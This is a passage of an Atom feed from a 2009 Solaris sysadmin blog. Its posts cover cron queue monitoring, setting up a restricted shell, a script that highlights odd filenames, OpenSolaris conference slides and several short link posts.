src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-922414123111466702</id><published>2009-07-04T21:38:00.002+08:00</published><updated>2009-07-04T21:42:46.652+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='computer science'/><title type='text'>Computer Pioneers - Pioneer Computers Part 1</title><content type='html'>&lt;a href="http://www.youtube.com/watch?v=qundvme1Tik"&gt;Computer Pioneers - Pioneer Computers Part 1&lt;/a&gt; video from &lt;a href="http://www.computerhistory.org/"&gt;Computer History Museum&lt;/a&gt;. This is a 53:26 video. Interested to find out the first &lt;a href="http://en.wikipedia.org/wiki/File:H96566k.jpg"&gt;computer bug&lt;/a&gt;, fast forward to 36:00 to &lt;a href="http://en.wikipedia.org/wiki/Grace_Hopper"&gt;Grace Hopper&lt;/a&gt;'s talk.
&lt;p&gt;
&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/qundvme1Tik&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/qundvme1Tik&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-922414123111466702?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/922414123111466702/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=922414123111466702' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/922414123111466702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/922414123111466702'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/07/computer-pioneers-pioneer-computers.html' title='Computer Pioneers - Pioneer Computers Part 1'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2842782704630449712</id><published>2009-07-04T20:59:00.004+08:00</published><updated>2009-07-04T21:05:27.389+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='performance'/><category scheme='http://www.blogger.com/atom/ns#' term='HPC'/><category scheme='http://www.blogger.com/atom/ns#' term='Sun'/><title type='text'>Performance Tuning Video</title><content type='html'>&lt;a href="http://www.sun.com/"&gt;Sun Mircosystem&lt;/a&gt;'s &lt;a href="http://www.sun.com/solutions/hpc/"&gt;High Performance Computing&lt;/a&gt; portal has just launched it's first module of training material in video.
&lt;p&gt;
The first module is &lt;a href="http://blogs.sun.com/HPC/entry/video_an_introduction_to_parallel"&gt;Introduction to Parallel Programming&lt;/a&gt;. This 25 mins video provides a lot of tips to tackle performance tuning issues. If you often like to throw hardware at performance problems, you should watch this video with an open mind.
&lt;p&gt;
As the presenter mentioned, the next module will cover multi-core architecture. I will post the link once it is available.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2842782704630449712?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2842782704630449712/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2842782704630449712' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2842782704630449712'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2842782704630449712'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/07/performance-tuning-video.html' title='Performance Tuning Video'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-4277376408116002034</id><published>2009-07-02T21:27:00.008+08:00</published><updated>2009-07-02T21:53:22.812+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>How to find cron queue size</title><content type='html'>If your system replies heavy on &lt;a href="http://docs.sun.com/app/docs/doc/816-5166/cron-1m?a=view"&gt;cron (1M)&lt;/a&gt; to schedule jobs, you may be interested to know how many cron jobs are running. In &lt;a href="http://www.sun.com/solaris"&gt;Solaris&lt;/a&gt;, the default queue size for &lt;a href="http://docs.sun.com/app/docs/doc/816-5165/crontab-1?a=view"&gt;crontab(1)&lt;/a&gt; is 100, you can verify that with the &lt;a href="http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/cmd/cron/cron.c"&gt;source code&lt;/a&gt;.
&lt;p&gt;
When cron exceeds the limit, the log (/var/cron/log) will report this and it will not be able to schedule any jobs until the queue size is lower than the limit
&lt;pre&gt;
! c queue max run limit reached Thu Jul  2 21:22:00 2009
! rescheduling a cron job Thu Jul  2 21:22:00 2009
&lt;/pre&gt;
&lt;p&gt;
To find out how many child processes running under the cron, we need to know the pid of cron. If your system runs &lt;a href="http://www.sun.com/bigadmin/content/zones/"&gt;Solaris container (zone)&lt;/a&gt;, there will be more than one cron processes if you do &lt;code&gt;ps -ef | grep cron&lt;/code&gt;. In order to exactly determine the pid of your cron, you need to specify whatever zone you are in to grep the process using &lt;a href="http://docs.sun.com/app/docs/doc/816-5165/pgrep-1?a=view"&gt;pgrep(1)&lt;/a&gt;. Once we have cron's pid, we can do a &lt;code&gt;ps&lt;/code&gt; listing to find out all the child processes with such a parent pid.
&lt;pre&gt;
# &lt;stdin&gt;pgrep -x -z `zonename` cron&lt;/stdin&gt;
5847

# &lt;stdin&gt;ptree 5847&lt;/stdin&gt;
5847  /usr/sbin/cron
  13293 sh -c sleep 1000
    13305 sleep 1000
  13295 sh -c sleep 1000
    13306 sleep 1000
  13296 sh -c sleep 1000
    13307 sleep 1000
  ......
    ......

# &lt;stdin&gt;ps -ef -o 'pid,ppid' | nawk -v ppid=5847 '$2==ppid{++s}END{print s}'&lt;/stdin&gt;
100

# &lt;stdin&gt;tail /var/cron/log&lt;/stdin&gt;
! c queue max run limit reached Thu Jul  2 21:29:00 2009
! rescheduling a cron job Thu Jul  2 21:29:00 2009
! c queue max run limit reached Thu Jul  2 21:29:00 2009
! rescheduling a cron job Thu Jul  2 21:29:00 2009
! c queue max run limit reached Thu Jul  2 21:29:00 2009
! rescheduling a cron job Thu Jul  2 21:29:00 2009
! c queue max run limit reached Thu Jul  2 21:29:00 2009
! rescheduling a cron job Thu Jul  2 21:29:00 2009
! c queue max run limit reached Thu Jul  2 21:29:00 2009
! rescheduling a cron job Thu Jul  2 21:29:00 2009
&lt;/pre&gt;
&lt;p&gt;
If you are interested in cron queue size over time, you may want to put the above in a script and print out the queue size with timestamp. &lt;a href="http://www.gnuplot.info/"&gt;gnuplot&lt;/a&gt; is a very useful tool to visualise time-based data.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-4277376408116002034?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/4277376408116002034/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=4277376408116002034' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4277376408116002034'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4277376408116002034'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/07/how-to-find-cron-queue.html' title='How to find cron queue size'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-2222673185082547403</id><published>2009-07-01T20:52:00.004+08:00</published><updated>2009-07-01T21:00:55.059+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Netflix'/><title type='text'>What Can You Do If You Do Not Win $1 Million From Netflix Prize Contest</title><content type='html'>&lt;a href="http://raymondtay.blogspot.com/2009/06/netflix-has-winner-well-not-if-someone.html"&gt;My friend&lt;/a&gt; blogged about the recent &lt;a href="http://www.research.att.com/~volinsky/netflix/bpc.html"&gt;winner&lt;/a&gt; who has just broken the 10% improvement over the existing &lt;a href="http://www.netflix.com/"&gt;Netflix&lt;/a&gt; Cinematch algorithm.
&lt;p&gt;
Do you know that you can achieve a lot even if you are not the winner. &lt;a href="http://justaguyinagarage.blogspot.com/"&gt;&amp;quot;Just A Guy In A Garage&amp;quot;&lt;/a&gt; blogged about &lt;a href="http://justaguyinagarage.blogspot.com/2009/06/after-netflix.html"&gt;what's after netflix&lt;/a&gt;, although his score only ranked 18 in the &lt;a href="http://www.netflixprize.com/leaderboard"&gt;leaderboard&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-2222673185082547403?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/2222673185082547403/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=2222673185082547403' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2222673185082547403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/2222673185082547403'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/07/what-can-you-do-if-you-do-not-win-1.html' title='What Can You Do If You Do Not Win $1 Million From Netflix Prize Contest'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-6255089348009195393</id><published>2009-05-28T20:11:00.003+08:00</published><updated>2009-05-28T20:38:13.451+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>How to Implement Restricted Shell</title><content type='html'>If you want to limit your users from running wild in your system, you may want to consider providing them with restricted shell such as &lt;a href="http://docs.sun.com/app/docs/doc/816-5166/rsh-1m?a=view"&gt;/usr/lib/rsh&lt;/a&gt; or &lt;a href="http://docs.sun.com/app/docs/doc/816-5165/rksh-1?a=view"&gt;/bin/rksh&lt;/a&gt;. 
&lt;p&gt;
According to man page of /usr/lib/rsh, the actions of rsh are identical to those of sh, except that the following are disallowed:
&lt;ul&gt;
&lt;li&gt;changing directory
&lt;li&gt;setting the value of $PATH
&lt;li&gt;specifying path or command names containing /
&lt;li&gt;redirecting output (&amp;gt; and &amp;gt;&amp;gt;)
&lt;/ul&gt;
&lt;p&gt;
According to man page of /bin/rksh, the actions of rksh are identical to those of ksh, except that the following are disallowed:
&lt;ul&gt;
&lt;li&gt;changing directory
&lt;li&gt;setting the value of SHELL, ENV, or PATH
&lt;li&gt;specifying path or command names containing /
&lt;li&gt;redirecting output (&amp;gt;, &amp;gt;|, &amp;lt;&amp;gt;, and &amp;gt;&amp;gt;)
&lt;li&gt;changing group
&lt;/ul&gt;
&lt;p&gt;
Let's start to see how restrictive it can be:
&lt;pre&gt;
# &lt;stdin&gt;PATH=/some/dir/do/not/exist /bin/rksh&lt;/stdin&gt;

# &lt;stdin&gt;ls&lt;/stdin&gt;
/bin/rksh: ls:  not found

# &lt;stdin&gt;cd /&lt;/stdin&gt;
/bin/rksh: cd: restricted

# &lt;stdin&gt;/usr/bin/ls&lt;/stdin&gt;
/bin/rksh: /usr/bin/ls: restricted

# &lt;stdin&gt;echo $PATH&lt;/stdin&gt;
/some/dir/do/not/exist

# &lt;stdin&gt;../../../usr/bin/ls&lt;/stdin&gt;
/bin/rksh: ../../../usr/bin/ls: restricted

# &lt;stdin&gt;pwd&lt;/stdin&gt;
/

# &lt;stdin&gt;echo abc&lt;/stdin&gt;
abc
&lt;/pre&gt;
As you can see, your search PATH does not exist and therefore you have no access to any of the binaries. Also, you really cannot run anything with absolute or relative path. The only commands you can run are the builtin commands like &lt;code&gt;echo&lt;/code&gt; and &lt;code&gt;pwd&lt;/code&gt;. That's far too restrictive. In order to really limit the users to run only a subset of commands, we create a /rbin directory and copy (or hard link) binaries that are absolutely required. In this demo, I only provide &lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;vi&lt;/code&gt;, &lt;code&gt;more&lt;/code&gt; and &lt;code&gt;grep&lt;/code&gt;.
&lt;pre&gt;
# &lt;stdin&gt;mkdir /rbin&lt;/stdin&gt;

# &lt;stdin&gt;for i in ls vi more grep
do
ln /usr/bin/$i /rbin/.
done&lt;/stdin&gt;

# &lt;stdin&gt;PATH=/rbin /bin/rksh&lt;/stdin&gt;

# &lt;stdin&gt;ls /var/adm&lt;/stdin&gt;
acct        log         messages.2  sm.bin      utmpx
aculog      messages    messages.3  spellhist   vold.log
exacct      messages.0  pool        streams     wtmpx
lastlog     messages.1  sa          sulog

# &lt;stdin&gt;more /etc/release&lt;/stdin&gt;
                        Solaris 10 1/06 s10x_u1wos_19a X86
           Copyright 2005 Sun Microsystems, Inc.  All Rights Reserved.
                        Use is subject to license terms.
                           Assembled 07 December 2005

# &lt;stdin&gt;grep Solaris /etc/release&lt;/stdin&gt;
                        Solaris 10 1/06 s10x_u1wos_19a X86

# &lt;stdin&gt;date&lt;/stdin&gt;
/bin/rksh: date:  not found
&lt;/pre&gt;
&lt;p&gt;
I am sure you feel pretty convinced that you are really in control of what your users can and cannot run. Now all you have to do is to set their login shell and ensure /etc/profile set the corresponding PATH to the restricted directory (/rbin).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-6255089348009195393?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/6255089348009195393/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=6255089348009195393' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6255089348009195393'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/6255089348009195393'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/05/how-to-implement-restricted-shell.html' title='How to Implement Restricted Shell'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-8927280463808391643</id><published>2009-05-28T19:47:00.003+08:00</published><updated>2009-05-28T20:04:20.362+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='opensolaris'/><title type='text'>OpenSolaris CommunityOne West Presentation Material</title><content type='html'>There is an upcoming &lt;a href="http://developers.sun.com/events/communityone/2009/west/index.jsp"&gt;OpenSolaris CommunityOne West&lt;/a&gt; event 1-3 June 1 - 3 2009 in San Francisco. 
&lt;p&gt;
If you are not able to attend (like me &lt;a href="http://www28.wolframalpha.com/input/?i=distance+between+Singapore+and+San+Francisco"&gt;13,593 km&lt;/a&gt; away, below are the &lt;a href="http://wikis.sun.com/display/OpenSolaris/OpenSolaris+at+C1+West+-+Schedule"&gt;links&lt;/a&gt; to download some of the presentation material:
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://wikis.sun.com/download/attachments/102400619/community1-whats-new.pdf"&gt;What's New in the OpenSolaris 2009.06 Operating System&lt;/a&gt;
&lt;li&gt;&lt;a href="http://wikis.sun.com/download/attachments/102400619/OpenSolarisPowerUser-C1West.odp"&gt;Becoming an OpenSolaris Operating System Power User&lt;/a&gt;
&lt;li&gt;&lt;a href="http://wikis.sun.com/download/attachments/102400619/C1_BuiltInV12N.pdf"&gt;Built-in Virtualization for the OpenSolaris&lt;/a&gt;
&lt;li&gt;&lt;a href="http://wikis.sun.com/download/attachments/102400619/09_C1W_Tripathi.odp"&gt;Open Networking with Crossbow&lt;/a&gt;
&lt;li&gt;&lt;a href="http://wikis.sun.com/download/attachments/102400619/2009-C1-Deploying-Securely.pdf"&gt;OpenSolaris Secure Deployment: Role-Based Access Control and The Cryptographic Framework&lt;/a&gt;
&lt;li&gt;&lt;a href="http://wikis.sun.com/download/attachments/102400619/S304013_OpenStorage_ZFS_COMSTAR.pdf"&gt;Open Storage with the Solaris ZFS File System and COMSTAR&lt;/a&gt;
&lt;li&gt;&lt;a href="http://wikis.sun.com/download/attachments/102400619/ZFS+Ninja+%28Draft%29.pdf"&gt;Becoming a ZFS Ninja&lt;/a&gt;
&lt;li&gt;&lt;a href="http://wikis.sun.com/download/attachments/102400619/09_C1_HA_OpenSolaris.pdf"&gt;High Availability with OpenSolaris&lt;/a&gt;
&lt;li&gt;&lt;a href="http://wikis.sun.com/download/attachments/102400619/C1_appzones.pdf"&gt;Application consolidation with OpenSolaris Containers&lt;/a&gt;
&lt;li&gt;&lt;a href="https://wikis.sun.com/download/attachments/103515495/C1_DTrace_09.pdf"&gt;Observing Your App and Everything Else It Runs On Using DTrace&lt;/a&gt;
&lt;li&gt;&lt;a href="https://wikis.sun.com/download/attachments/103514666/C1_Probing_Applications_2009.pdf"&gt;Probing Database Applications with DTrace Probes&lt;/a&gt;
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-8927280463808391643?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/8927280463808391643/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=8927280463808391643' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8927280463808391643'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8927280463808391643'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/05/opensolaris-communityone-west.html' title='OpenSolaris CommunityOne West Presentation Material'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-4427483773093417403</id><published>2009-05-23T13:31:00.010+08:00</published><updated>2009-05-23T18:18:59.722+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><title type='text'>Highlight Those Files With Space, Backslash or Non-Printable Characters</title><content type='html'>In UNIX, if your filename contains space, blackslash or non-printable characters, you may have issue with applications that are not space/backslash/non-printable aware. Recently I realised that Netbackup will fail to backup files with filename ends with space. Space is not a non-printable character and it is pretty hard to identify them when you simply do a &lt;code&gt;ls&lt;/code&gt; listing.
&lt;p&gt;
&lt;code&gt;ls&lt;/code&gt; has a -b flag that is able to print those non-printable characters to be in the octal \ddd notation. It is possible to recursively list subdirectories using &lt;code&gt;ls -R -b&lt;/code&gt; to find out file names with non-printable characters with \ddd octal string. Together with the &lt;code&gt;-1&lt;/code&gt; (&lt;a href="http://chihungchan.blogspot.com/2006/06/ls-minus-l-vs-ls-minus-one.html"&gt;minus one&lt;/a&gt;) option, we can print one entry per line of output. The output of &lt;code&gt;ls -1Rb&lt;/code&gt; can be piped to a regular expression grep to single out those problematic filenames.
&lt;br&gt;
&lt;code&gt;ls -1Rb | egrep '\\[0-7][0-7][0-7]|[\\ ]'&lt;/code&gt; will grab filenames with \ddd octal, blackslash or space.
&lt;p&gt;
You can even give those special characters some colour which I &lt;a href="http://chihungchan.blogspot.com/2008/10/give-your-shell-some-colours.html"&gt;blogged&lt;/a&gt; about it before. Here is the script that will highlight these characters. &lt;code&gt;&lt;b&gt;^[&lt;/b&gt;&lt;/code&gt; means &amp;quot;Escape&amp;quot; and you need to type Ctrl-V followed by Esc to get that.
&lt;p&gt;
&lt;pre&gt;
#! /bin/sh


ls -1Rb ${1:-.} | \
nawk '
/:$/ {
        sub(":","")
        d=$0
        next
}
$0 != "" {
        printf("%s/%s\n",d,$0)
}' | \
egrep '\\[0-7][0-7][0-7]|[\\ ]' | \
sed '
# non-printable character in octal \ddd
s/\(\\[0-7][0-7][0-7]\)/^[[31m\1^[[0m/g

# space
s/\([ ]\)/^[[42m\1^[[0m/g

# blackslash but not \ddd in octal
s/\(\\\)\([^0-7][^0-7][^0-7]\)/^[[34m\1^[[0m\2/g
'

&lt;/pre&gt;
&lt;br&gt;
&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_QxCNUeDt_uQ/SheX-jIcoDI/AAAAAAAAAa0/C9V4UTk351s/s1600-h/space.png"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 152px;" src="http://4.bp.blogspot.com/_QxCNUeDt_uQ/SheX-jIcoDI/AAAAAAAAAa0/C9V4UTk351s/s320/space.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5338902984109367346" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-4427483773093417403?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/4427483773093417403/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=4427483773093417403' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4427483773093417403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4427483773093417403'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/05/highlight-those-files-with-space-and.html' title='Highlight Those Files With Space, Backslash or Non-Printable Characters'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_QxCNUeDt_uQ/SheX-jIcoDI/AAAAAAAAAa0/C9V4UTk351s/s72-c/space.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-3889654117488836164</id><published>2009-05-17T18:36:00.005+08:00</published><updated>2009-05-17T18:55:03.690+08:00</updated><title type='text'>WolframApha, a new kind of search</title><content type='html'>&lt;a href="http://www.wolfram.com/"&gt;Wolfram Reseach&lt;/a&gt;, developer for &lt;a href="http://www.wolfram.com/products/mathematica/index.html"&gt;Mathematica&lt;/a&gt;, has just launched the &lt;a href="http://www.wolframalpha.com/"&gt;WolframAlpha (Computational Knowledge Engine)&lt;/a&gt;.
&lt;p&gt;
If you want to find out what it can do, watch &lt;a href="http://www67.wolframalpha.com/screencast/introducingwolframalpha.html"&gt;this introduction&lt;/a&gt;. I am sure you will be impressed.
&lt;/p&gt;&lt;p&gt;
You can even find out the details of genome sequence ( AAGCTAGCTAGC ) or plot this function ( plot sin(x*x+y*y) ):
&lt;/p&gt;&lt;form method="get" action="http://www.wolframalpha.com/input/" id="calculate" charset="UTF-8"&gt;
 &lt;fieldset id="input"&gt;
   &lt;label class="hidden" for="i"&gt;Enter something to compute or figure out&lt;/label&gt;
   &lt;input name="i" id="i" maxlength="200" value="" type="text"&gt;
   &lt;label class="hidden" for="equal"&gt;Calculate&lt;/label&gt;
   &lt;input id="equal" title="compute" value="Submit" type="submit"&gt;
 &lt;/fieldset&gt;
&lt;/form&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-3889654117488836164?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/3889654117488836164/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=3889654117488836164' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3889654117488836164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/3889654117488836164'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/05/wolframapha-new-kind-of-search.html' title='WolframApha, a new kind of search'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-7522371034122317864</id><published>2009-05-13T20:59:00.001+08:00</published><updated>2009-05-13T21:06:34.806+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Reflection'/><title type='text'>Busy</title><content type='html'>Today, I received this from my 'the other email':
&lt;blockquote&gt;
Once upon a time, a very strong woodcutter asked for a job in a timber merchant, and he got it. The pay was really good and so were the work conditions. For that reason, the woodcutter was determined to do his best. 
&lt;p&gt;
His boss gave him an axe and showed him the area where he was supposed to work. 
&lt;p&gt;
The first day, the woodcutter brought down 18 trees. 
&lt;p&gt;
"Congratulations," the boss said. "Go on that way!" 
&lt;p&gt;
Very motivated for the boss’ words, the woodcutter tried harder the next day, but he only could bring down 15 trees. The third day he tried even harder, but he only could cut 10 trees. Day after day he was bringing down lesser and lesser trees. 
&lt;p&gt;
"I must be losing my strength", the woodcutter thought. He went to the boss and apologized, saying that he could not understand what was going on. 
&lt;p&gt;
"When was the last time you sharpened your axe?" the boss asked. 
&lt;p&gt;
"Sharpen my axe? I have no time to sharpen my axe, I have been very busy trying to cut trees..."
&lt;/blockquote&gt;
by Stephen Covey, &lt;a href="http://en.wikipedia.org/wiki/The_Seven_Habits_of_Highly_Effective_People"&gt;7 Habits of Highly Effective People&lt;/a&gt;:
&lt;ul&gt;
&lt;li&gt;Habit 1: Be Proactive: Principles of Personal Choice
&lt;li&gt;Habit 2: Begin with the End in Mind: Principles of Personal Vision
&lt;li&gt;Habit 3: Put First Things First: Principles of Integrity &amp; Execution
&lt;li&gt;Habit 4: Think Win/Win: Principles of Mutual Benefit
&lt;li&gt;Habit 5: Seek First to Understand, Then to be Understood: Principles of Mutual Understanding
&lt;li&gt;Habit 6: Synergize: Principles of Creative Cooperation
&lt;li&gt;Habit 7: Sharpen the Saw: Principles of Balanced Self-Renewal
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-7522371034122317864?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/7522371034122317864/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=7522371034122317864' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7522371034122317864'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/7522371034122317864'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/05/busy.html' title='Busy'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-9146391898300012209</id><published>2009-05-13T20:39:00.002+08:00</published><updated>2009-05-13T20:55:42.615+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><category scheme='http://www.blogger.com/atom/ns#' term='DTrace'/><title type='text'>Which Process Deleted My File ?</title><content type='html'>Ever asked this question before: "Which process deleted my file ?". In &lt;a href="http://www.sun.com/software/solaris/"&gt;Solaris 10&lt;/a&gt;, you can rely on &lt;a href="http://www.sun.com/bigadmin/content/dtrace/"&gt;DTrace&lt;/a&gt; to help you to figure that out. A simple one-liner is all your need.
&lt;p&gt;
&lt;pre&gt;
